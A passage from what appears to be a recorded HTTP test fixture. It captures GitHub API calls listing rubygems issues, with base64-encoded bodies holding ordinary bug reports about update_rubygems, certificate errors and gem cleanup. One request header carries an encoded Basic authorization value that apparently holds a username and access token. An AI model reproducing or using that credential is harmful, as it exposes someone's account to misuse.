3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJBZnRlciBpbnN0YWxsaW5nL3VwZGF0aW5nIHRoZSBydWJ5Z2Vtcy11cGRhdGUgZ2VtLCB1cGRhdGVfcnVieWdlbXMgc2NyaXB0IGV4ZWN1dGlvbiBtYXkgaGFwcGVuIHRvIGZhaWwgb24gV2luZG93cyB3aXRoIHRoZSBmb2xsb3dpbmcgZXJyb3I6XG5cbkNhbm5vdCBmaW5kIFJ1YnlHZW1zIFVwZGF0ZSBQYXRoIVxuXG5JbiBteSBvcGluaW9uIHRoaXMgaGFwcGVucyBpbiB0aGUgZm9sbG93aW5nIHNjZW5hcmlvOlxuLSBJbnN0YWxsIFJ1YnkgMi4yLjQgb24gV2luZG93cywgMzIgb3IgNjQgYml0IHZlcnNpb24gZG9lcyBub3QgbWF0dGVyXG4tIEluc3RhbGwgdGhlIHJ1YnlnZW1zLXVwZGF0ZSBnZW0sIHNheSB2ZXJzaW9uIDIuNS4yXG4tIFJ1biB1cGRhdGVfcnVieWdlbXM6IGl0IHdvcmtzIGZpbmVcbi0gSW5zdGFsbCBhbmQgY29uZmlndXJlIHRoZSBhcHByb3ByaWF0ZSBSdWJ5IERldiBLaXQgZm9yIFdpbmRvd3M6XG4gIHJ1YnkgZGsucmIgaW5pdFxuICBydWJ5IGRrLnJiIGluc3RhbGxcbi0gVXBkYXRlIHRvIHJ1YnlnZW1zLXVwZGF0ZSB2ZXJzaW9uIDIuNi4xXG4tIFJ1biB1cGRhdGVfcnVieWdlbXM6IG5vdyBpdCBmYWlscyB3aXRoIHRoZSBhYm92ZSBlcnJvclxuXG5UaGUgcmVhc29uIGZvciB0aGUgZmFpbHVyZSBpcyB0aGF0IHRoZSBmb2xsb3dpbmcgbGluZSBpcyBtaXNzaW5nIGZyb20gdGhlIHVwZGF0ZV9ydWJ5Z2VtcyBzY3JpcHQgdW5kZXIgdGhlIFJ1YnkgYmluIGRpcmVjdG9yeSB3aGVuIHVwZGF0aW5nIHRvIDIuNi4xOlxuXG5nZW0gJ3J1YnlnZW1zLXVwZGF0ZScsIHZlcnNpb25cblxuSSBiZWxpZXZlIHN1Y2ggbGluZSBpcyBtaXNzaW5nIG9ubHkgYWZ0ZXIgaW5zdGFsbGluZyB0aGUgUnVieSBEZXYgS2l0IGZvciBXaW5kb3dzLFxuXG5IZXJlIGFyZSBteSBjdXJyZW50IGVudnJpb25tZW50IGRldGFpbHM6XG5cbk8uUy46IFdpbmRvd3MgMTAgNjQtYml0IHZlcnNpb24gLSBJdGFsaWFuIGxhbmd1YWdlXG5SdWJ5R2VtcyBFbnZpcm9ubWVudDpcbi0gUlVCWUdFTVMgVkVSU0lPTjogMi42LjFcbi0gUlVCWSBWRVJTSU9OOiAyLjIuNCAoMjAxNS0xMi0xNiBwYXRjaGxldmVsIDIzMCkgW2kzODYtbWluZ3czMl1cbi0gSU5TVEFMTEFUSU9OIERJUkVDVE9SWTogRTovcnVieTIyL2xpYi9ydWJ5L2dlbXMvMi4yLjBcbi0gVVNFUiBJTlNUQUxMQVRJT04gRElSRUNUT1JZOiBDOi9Vc2Vycy9nYWxsZWxsaS8uZ2VtL3J1YnkvMi4yLjBcbi0gUlVCWSBFWEVDVVRBQkxFOiBFOi9ydWJ5MjIvYmluL3J1YnkuZXhlXG4tIEVYRUNVVEFCTEUgRElSRUNUT1JZOiBFOi9ydWJ5MjIvYmluXG4tIFNQRUMgQ0FDSEUgRElSRUNUT1JZOiBDOi9Vc2Vycy9nYWxsZWxsaS8uZ2VtL3NwZWNzXG4tIFNZU1RFTSBDT05GSUdVUkFUSU9OIERJUkVDVE9SWTogQzovUHJvZ3JhbURhdGFcbi0gUlVCWUdFTVMgUExBVEZPUk1TOlxuICAtIHJ1YnlcbiAgLSB4ODYtbWluZ3czMlxuLSBHRU0gUEFUSFM6XG4gIC0gRTovcnVieTIyL2xpYi9ydWJ5L2dlbXMvMi4yLjBcbiAgLSBDOi9Vc2Vycy9nYWxsZWxsaS8uZ2VtL3J1YnkvMi4yLjBcbi0gR0VNIENPTkZJR1VSQVRJT046XG4gIC0gOnVwZGF0ZV9zb3VyY2VzID0+IHRydWVcbiAgLSA6dmVyYm9zZSA9PiB0cnVlXG4gIC0gOmJhY2t0cmFjZSA9PiBmYWxzZVxuICAtIDpidWxrX3RocmVzaG9sZCA9PiAxMDAwXG4gIC0gXCJnZW1cIiA9PiBcIi0tbm8tZG9jdW1lbnRcIlxuLSBSRU1PVEUgU09VUkNFUzpcbiAgLSBodHRwczovL3J1YnlnZW1zLm9yZy9cblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUzMSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTMxL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTMxL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzEiLCJpZCI6MTM4MTc3ODM0LCJudW1iZXIiOjE1MzEsInRpdGxlIjoiRVJST1I6IFdoaWxlIGV4ZWN1dGluZyBnZW0uLi4gKE9wZW5TU0w6Olg1MDk6OkNlcnRpZmljYXRlRXJyb3IpIG5vdCBlbm91Z2ggZGF0YSIsInVzZXIiOnsibG9naW4iOiJnYXdidWwiLCJpZCI6MzIxMjkxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMS5naXRodWJ1c2VyY29udGVudC5jb20vdS8zMjEyOTE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dhd2J1bCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2dhd2J1bCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dhd2J1bC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYXdidWwvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2F3YnVsL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYXdidWwvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYXdidWwvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYXdidWwvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2F3YnVsL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ2F3YnVsL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nYXdidWwvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjExMjIzMCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBidWclMjByZXBvcnQiLCJuYW1lIjoidHlwZTogYnVnIHJlcG9ydCIsImNvbG9yIjoiYmZlNWJmIiwiZGVmYXVsdCI6ZmFsc2V9XSwic3RhdGUiOiJvcGVuIiwibG9ja2VkIjpmYWxzZSwiYXNzaWduZWUiOm51bGwsImFzc2lnbmVlcyI6W10sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjEsImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTAzVDEzOjI4OjAyWiIsInVwZGF0ZWRfYXQiOiIyMDE2LTEwLTE1VDAwOjU1OjQ5WiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiTk9ORSIsImJvZHkiOiJJIHdhcyBnZXR0aW5nIHRoZSBmb2xsb3dpbmcgZXJyb3Igd2hlbiB0cnlpbmcgdG8gYnVpbGQgYSBnZW06XG5cbmBgYFxuJCBnZW0gYnVpbGQgLVYgLS1iYWNrdHJhY2UgLS1kZWJ1ZyBzZW5zdS1wbHVnaW5zLXNwbHVuay5nZW1zcGVjXG5OT1RFOiAgRGVidWdnaW5nIG1vZGUgcHJpbnRzIGFsbCBleGNlcHRpb25zIGV2ZW4gd2hlbiByZXNjdWVkXG5FeGNlcHRpb24gYE9wZW5TU0w6Olg1MDk6OkNlcnRpZmljYXRlRXJyb3InIGF0IC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3NlY3VyaXR5L3NpZ25lci5yYjo1OSAtIG5vdCBlbm91Z2ggZGF0YVxuRVJST1I6ICBXaGlsZSBleGVjdXRpbmcgZ2VtIC4uLiAoT3BlblNTTDo6WDUwOTo6Q2VydGlmaWNhdGVFcnJvcilcbiAgICBub3QgZW5vdWdoIGRhdGFcbiAgICAvVXNlcnMvc21vc3MvLnJiZW52L3ZlcnNpb25zLzIuMi4zL2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9zZWN1cml0eS9zaWduZXIucmI6NTk6aW4gYGluaXRpYWxpemUnXG4gICAgL1VzZXJzL3Ntb3NzLy5yYmVudi92ZXJzaW9ucy8yLjIuMy9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvc2VjdXJpdHkvc2lnbmVyLnJiOjU5OmluIGBuZXcnXG4gICAgL1VzZXJzL3Ntb3NzLy5yYmVudi92ZXJzaW9ucy8yLjIuMy9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvc2VjdXJpdHkvc2lnbmVyLnJiOjU5OmluIGBibG9jayBpbiBpbml0aWFsaXplJ1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3NlY3VyaXR5L3NpZ25lci5yYjo1NDppbiBgbWFwJ1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3NlY3VyaXR5L3NpZ25lci5yYjo1NDppbiBgaW5pdGlhbGl6ZSdcbiAgICAvVXNlcnMvc21vc3MvLnJiZW52L3ZlcnNpb25zLzIuMi4zL2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9wYWNrYWdlLnJiOjQ4MTppbiBgbmV3J1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UucmI6NDgxOmluIGBzZXR1cF9zaWduZXInXG4gICAgL1VzZXJzL3Ntb3NzLy5yYmVudi92ZXJzaW9ucy8yLjIuMy9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvcGFja2FnZS5yYjoyNTA6aW4gYGJ1aWxkJ1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL3BhY2thZ2UucmI6MTE1OmluIGBidWlsZCdcbiAgICAvVXNlcnMvc21vc3MvLnJiZW52L3ZlcnNpb25zLzIuMi4zL2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9jb21tYW5kcy9idWlsZF9jb21tYW5kLnJiOjUzOmluIGBleGVjdXRlJ1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmQucmI6MzEwOmluIGBpbnZva2Vfd2l0aF9idWlsZF9hcmdzJ1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvbGliL3J1Ynkvc2l0ZV9ydWJ5LzIuMi4wL3J1YnlnZW1zL2NvbW1hbmRfbWFuYWdlci5yYjoxNjk6aW4gYHByb2Nlc3NfYXJncydcbiAgICAvVXNlcnMvc21vc3MvLnJiZW52L3ZlcnNpb25zLzIuMi4zL2xpYi9ydWJ5L3NpdGVfcnVieS8yLjIuMC9ydWJ5Z2Vtcy9jb21tYW5kX21hbmFnZXIucmI6MTM5OmluIGBydW4nXG4gICAgL1VzZXJzL3Ntb3NzLy5yYmVudi92ZXJzaW9ucy8yLjIuMy9saWIvcnVieS9zaXRlX3J1YnkvMi4yLjAvcnVieWdlbXMvZ2VtX3J1bm5lci5yYjo1NTppbiBgcnVuJ1xuICAgIC9Vc2Vycy9zbW9zcy8ucmJlbnYvdmVyc2lvbnMvMi4yLjMvYmluL2dlbToyMTppbiBgPG1haW4+J1xuYGBgXG5cbkkgdHJhY2tlZCB0aGlzIGRvd24gdG8gW2xpbmUgNTcgb2Ygc2VjdXJpdHkvc2lnbmVyLnJiXShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvbGliL3J1YnlnZW1zL3NlY3VyaXR5L3NpZ25lci5yYiNMNTcpIGBjZXJ0ID0gRmlsZS5yZWFkIGNlcnQgaWYgRmlsZS5leGlzdD8gY2VydGBcblxuVGhpcyBhY3R1YWxseSB0dXJuZWQgb3V0IHRvIGJlIG15IGVycm9yIGluIHByb3ZpZGluZyB0aGUgaW5jb3JyZWN0IGNlcnRpZmljYXRlIGZpbGVuYW1lIGZvciB0aGUgY2VydF9jaGFpbiBpbiBteSBnZW1zcGVjIGZpbGUuIEhvd2V2ZXIsIGlmIHRoZSBmaWxlIGRvZXNuJ3QgZXhpc3QsIHRoZSBjb2RlIHNpbXBseSByZXR1cm5zIHRoZSBvcmlnaW5hbCBmaWxlbmFtZSBhcyBhIFN0cmluZywgd2hpY2ggW2xpbmUgNTldKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9saWIvcnVieWdlbXMvc2VjdXJpdHkvc2lnbmVyLnJiI0w1OSkgYE9wZW5TU0w6Olg1MDk6OkNlcnRpZmljYXRlLm5ldyBjZXJ0YCB0aGVuIGF0dGVtcHRzIHRvIGNvbnRpbnVlIGFzIGlmIGl0IHdlcmUgdGhlIGNlcnRpZmljYXRlIGZpbGUgY29udGVudC5cblxuVGhlcmUgc2hvdWxkIHByb2JhYmx5IGJlIGEgbW9yZSBleHBsaWNpdCBjaGVjayBhbmQgZXJyb3IgbWVzc2FnZSBoZXJlLCBlLmcuIHNvbWV0aGluZyBsaWtlOlxuXG5gYGBcbmJlZ2luXG4gIGNlcnQgPSBGaWxlLnJlYWQgY2VydFxucmVzY3VlID0+IGVcbiAgcHV0cyBcIiN7ZS5tZXNzYWdlfVwiXG5lbmRcbmBgYFxuIn1d http_version: recorded_at: Sat, 06 Jan 2018 15:00:31 GMT - request: method: get uri: https://api.github.com/repositories/614070/issues?page=4&per_page=30 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:32 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4307' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"bacb44c15ee9ceea72ffab067dc8084b" X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - repo X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.207405' X-Github-Request-Id: - A3E6:4D95:F48DF9:1C8559A:5A50E48F body: encoding: ASCII-8BIT string: !binary |- W3sidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUzMCIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTMwL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTMwL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzAvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MzAiLCJpZCI6MTM4MTI5ODI1LCJudW1iZXIiOjE1MzAsInRpdGxlIjoiQ2Fubm90IGNsZWFudXAgdXNlciBnZW1zIiwidXNlciI6eyJsb2dpbiI6ImdvZGZhdCIsImlkIjoxMDQxNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTA0MTY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dvZGZhdCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2dvZGZhdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2dvZGZhdC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ29kZmF0L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ29kZmF0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvZ29kZmF0L2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9nb2RmYXQvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjp7ImxvZ2luIjoiYnJvbnpkb2MiLCJpZCI6NDU5NTE3NCwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvNDU5NTE3ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9icm9uemRvYyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImFzc2lnbmVlcyI6W3sibG9naW4iOiJicm9uemRvYyIsImlkIjo0NTk1MTc0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS80NTk1MTc0P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2Jyb256ZG9jIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2MvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnJvbnpkb2Mvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2Jyb256ZG9jL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9icm9uemRvYy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfV0sIm1pbGVzdG9uZSI6bnVsbCwiY29tbWVudHMiOjksImNyZWF0ZWRfYXQiOiIyMDE2LTAzLTAzVDA5OjQ4OjQxWiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDA2OjQzOjEyWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiRHVlIHRvIHRoaXMgY29tbWl0OiBlYzhhM2ZkNjBlNGIyMmZmMWY1ODhlZmMyMjVkOGZjYWZmMDI3M2M5XG5JIGJlbGlldmUgdGhpcyBpcyBhIHJlZ3Jlc3Npb24gZnJvbSAyLjYuMC5cblxuWW91IGNvdWxkIHJlcHJvZHVjZSB0aGlzIGJ5OlxuXG5gYGBcbmdlbSBpbnN0YWxsIHJha2UgLXYgMTAuNC4yIC0tdXNlci1pbnN0YWxsXG5nZW0gaW5zdGFsbCByYWtlIC12IDEwLjQuMSAtLXVzZXItaW5zdGFsbFxuZ2VtIGNsZWFudXAgcmFrZVxuYGBgXG5cblJldmVydGluZyBpdCB3b3VsZCByZXN0b3JlIHRoZSBiZWhhdmlvdXIuXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE1MjQiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUyNC9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTUyNC9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xNTI0L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMTUyNCIsImlkIjoxMzc3NjYzMDksIm51bWJlciI6MTUyNCwidGl0bGUiOiJyZW1vdmluZyB1bnVzZWQgY29kZ